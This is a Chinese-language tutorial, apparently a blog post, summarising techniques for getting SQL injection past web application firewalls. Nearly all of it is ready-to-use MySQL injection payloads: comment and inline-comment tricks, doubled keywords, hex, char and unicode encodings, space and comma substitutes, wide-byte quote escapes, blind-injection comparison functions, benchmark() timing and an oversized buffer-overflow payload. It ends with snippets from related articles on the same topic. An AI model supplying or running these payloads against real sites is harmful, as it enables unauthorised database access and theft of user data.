sql注入繞過姿勢總結

2022-08-26 02:09:13 字數 4800 閱讀 4706

常用的注釋符有:

1)-- 注釋內容

2)# 注釋內容

3)/*注釋內容

*/ eg:union select 1,2#

union select 1,2 --+

構造閉合 』 union select 1,2』

常用於 waf的正則對大小寫不敏感的情況。

eg:union select 1,2

內聯注釋就是把一些特有的僅在mysql上的語句放在 /*!...*/ 中,這樣這些語句如果在其它資料庫中是不會被執行,但在

mysql

中會執行。

別和注釋/*... */搞混了。

eg:union /*!select*/ 1,2

一些簡單的waf中,將關鍵字select等只使用replace()函式置換為空,這時候可以使用雙寫關鍵字繞過。

eg:union seselectlect 1,2

1)十六進製制繞過

eg:union select 1,group_concat(column_name) from information_schema.columns where table_name=0x61645f6c696e6b

2)ascii

編碼繞過

eg:test =char(101)+char(97)+char(115)+char(116)

3)unicode編碼

常用的幾個符號的一些unicode編碼:

單引號: %u0027、

%u02b9

、%u02bc

、%u02c8

、%u2032

、%uff07

、%c0%27

、%c0%a7

、%e0%80%a7

空格:%u0020、

%uff00

、%c0%20

、%c0%a0

、%e0%80%a0

左括號:%u0028、

%uff08

、%c0%28

、%c0%a8

、%e0%80%a8

右括號:%u0029、

%uff09

、%c0%29

、%c0%a9

、%e0%80%a9

可代替空格的方式:

1)/**/

2)()

3)回車

(url

編碼中的

%0a)

4)`(tap

鍵上面的按鈕)5)

tap6)兩個空格

eg:union/**/select/**/1,2

select(passwd)from(users)  #注意括號中不能含有

*select`passwd`from`users`

and = &&

or = ||

xor = |

not = !

1)不加萬用字元的like執行的效果和=一致,所以可以用來繞過。

eg:union select 1,group_concat(column_name) from information_schema.columns where table_name like "users"

2)rlike:模糊匹配,只要欄位的值中存在要查詢的 部分

就會被選擇出來,用來取代=時,rlike的用法和上面的like一樣,沒有萬用字元效果和=一樣

eg:union select 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"

3)regexp:mysql中使用

regexp

操作符來進行正規表示式匹配

eg:union select 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"

4)使用大小於號來繞過

eg:select * from users where id > 1 and id < 3

5)<> 等價於

!=,所以在前面再加乙個!結果就是等號了

eg:select * from users where !(id <> 1)

在sql盲注中,一般使用大小於號來判斷

ascii

碼值的大小來達到爆破的效果。

1)greatest(n1, n2, n3…):返回

n中的最大值

eg:select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116

2)least(n1,n2,n3…):返回

n中的最小值,與上同理。

3)strcmp(str1,str2):若所有的字串均相同,則返回0,若根據當前分類次序,第乙個引數小於第二個,則返回 -1,其它情況返回

1eg:select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)

4)in關鍵字

eg:select * from users where id = 1 and substr(username,1,1) in ('t')

5)between a and b:範圍在

a-b之間,包括a、b。

eg:select * from users where id between 1 and 2

select * from users where id between 1 and 1

1)使用十六進製制

eg:union select 1,group_concat(column_name) from information_schema.columns where table_name=0x61645f6c696e6b

2)寬位元組,常用在web應用使用的字符集為gbk時,並且過濾了引號,就可以試試寬位元組。%27表示

'(單引號

),單引號會被轉義成

\'eg:%e6' union select 1,2 #

%df%27 union select  1,2,3  #

1)如果waf過濾了逗號,並且只能盲注,在取子串的幾個函式中,有乙個替代逗號的方法就是使用from pos for len,其中

pos代表從

pos個開始讀取

len長度的子串

eg:常規寫法 select substr("string",1,3)

若過濾了逗號,可以使用from pos for len來取代 select substr("string" from 1 for 3)

sql盲注中 select ascii(substr(database() from 1 for 1)) > 110

2)也可使用join關鍵字來繞過

eg:select * from users union select * from (select 1)a join (select 2)b join(select 3)c

上式等價於 union select 1,2,3

3)使用like關鍵字,適用於substr()等提取子串的函式中的逗號

eg:select user() like "t%"

上式等價於 select ascii(substr(user(),1,1))=114

5)使用offset關鍵字,適用於limit中的逗號被過濾的情況,limit 2,1等價於limit 1 offset 2

eg:select * from users limit 1 offset 2

上式等價於 select * from users limit 2,1

1)sleep() -->benchmark()

mysql有乙個內建的

benchmark()

函式,可以測試某些特定操作的執行速度。

引數可以是需要執行的次數和表示式。第乙個引數是執行次數,第二個執行的表示式

eg:select 1,2 and benchmark(1000000000,1)

2)ascii()–>hex()、

bin(),替代之後再使用對應的進製轉string即可

3)group_concat()–>concat_ws(),第乙個引數為分隔符

eg:mysql> select concat_ws(",","str1","str2")

4)substr(),substring(),mid()可以相互取代

, 取子串的函式還有

left(),right()

5)user() --> @@user、

datadir

–>@@datadir

6)ord()–

>ascii():

這兩個函式在處理英文時效果一樣,但是處理中文等時不一致。

緩衝區溢位用於對付waf,有不少

waf是

c語言寫的,而

c語言自身沒有緩衝區保護機制,因此如果

waf在處理測試向量時超出了其緩衝區長度,就會引發

bug從而實現繞過

eg:?id=1 and (select 1)=(select 0xa*1000)+union+select+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xa*1000指

0xa後面」

a」重複

1000

次,一般來說對應用軟體構成緩衝區溢位都需要較大的測試長度,這裡

1000

只做參考,在某些情況下可能不需要這麼長也能溢位

Mysql注入繞過姿勢

1.內聯繞過 2.編碼繞過,如urlencode編碼,ascii,hex,unicode編碼繞過 or 1 1即 6f 72 20 31 3d 31,而test也可以為char 101 char 97 char 115 char 116 十六進製制編碼 select extractvalue 0x3...

SQL注入讀取檔案之各種繞過姿勢

回顯判斷注入點 確定過濾型別 各種繞過姿勢注入 注入要求 通過sql注入漏洞讀取 tmp 360 key檔案,答案就在檔案中。0x01滲透思路 進入答題後,顯示為使用select from article where id 1 提交表單後得到的資訊,已經知道id輸入的引數值為字元,不需要進行判斷 已...

sql繞過注入

sql繞過注入我推薦在 這個官網上學習 下面是我在這個官網學習的乙個過程 order by 猜數字 union select 1,2,3,4,5,6,7,8,9,10 form admin 在這裡會報錯 因為需要繞過才能注入。因此需要在 上載入外掛程式 cookie 或者 modheader 都可以...